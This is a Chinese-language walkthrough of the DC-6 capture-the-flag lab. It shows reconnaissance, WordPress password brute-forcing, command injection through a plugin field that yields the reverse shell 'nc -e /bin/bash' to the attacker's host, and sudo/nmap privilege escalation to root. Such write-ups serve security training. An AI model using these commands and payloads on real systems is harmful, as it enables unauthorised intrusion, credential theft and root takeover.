文章目录
前言
一、确定靶场地址
二、信息收集
三、账号枚举并破解
四、寻找漏洞
五、反弹shell
六、提权
前言
今天做一下DC6靶场
一、确定靶场地址
1、查看靶机mac地址
2、kali使用nmap,arp-scan工具扫描
nmap -sn 172.16.100.0/24
arp-scan 172.16.100.0/24
IP地址为:172.16.100.227
二、信息收集
1、nmap探测开放端口及服务
nmap -sT -sV -A -p- --min-rate 2000 172.16.100.227
探测到开放了80端口-http服务,22端口-ssh服务
2、访问80端口
如果直接使用ip访问会跳转到http://wordy/,而无法正常加载出来。
所以需要我们去添加hosts文件,跳转域名来访问靶场ip。
Windows:可以访问本地hosts,打开C:\Windows\System32\drivers\etc,修改hosts文件。
172.16.100.227 wordy
3、dirsearch,dirb,nikto,御剑等扫描目录
发现有后台登陆地址
同时通过wappalyzer发现使用的是wordpress的cms
三、账号枚举并破解
可以尝试wpscan进行扫描获得网站用户名。
wpscan --url wordy -e u
发现五个用户名,将五个用户保存在一个文件user.txt里
根据靶场作者提示
使用提示的命令生成一个字典,如果提示没有这个文件,先进到目录去把rockyou压缩包解压。
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
使用wpscan进行爆破
wpscan --url http://wordy -U user.txt -P passwords.txt
爆破出一组账号密码:mark/helpdesk01
尝试登陆后台可登陆成功
四、寻找漏洞
通过前面信息收集我们知道网站使用的是wordpress的cms,版本是5.1.1
使用searchsploit检查是否有对应的漏洞
searchsploit wordpress 5.1.1
可以看到存在远程命令执行漏洞
再通过查资料知道在插件的tools界面,存在命令执行漏洞,可以利用进行反弹shell
在ip参数后加入要执行的命令,成功执行。这里有个前端字符限制修改一下就行,点击lookup。
五、反弹shell
kali使用命令:nc -lvvp 8088开始监听。
brup修改参数 127.0.0.1 | nc -e /bin/bash kali的IP 8088
交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
六、提权
ls -alhR /home,列出/home目录下的所有文件,发现几个隐私文件
在things-to-do.txt文件中,我们看到了账号和密码。
因为我们前面看到了有开ssh服务,所以我们可以尝试用账号登录
尝试使用sudo提权
发现graham可以用jens的身份执行 /home/jens/backups.sh
,把 /bin/bash
追加到这个文件,然后用jens的身份执行这个文件的时候就会打开一个具有jens权限的shell
cd /home/jens
echo '/bin/bash' >> backups.sh
sudo -u jens ./backups.sh
执行 sudo -l
查看一下有没有可以提权的命令
发现可以用root权限执行nmap,我们可以借助网站搜索nmap提权命令
nmap | GTFOBins
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
提权后依旧使用命令可得到交互式shell
提权成功,可以读取最后的flag了。
cd /root
cat theflag.txt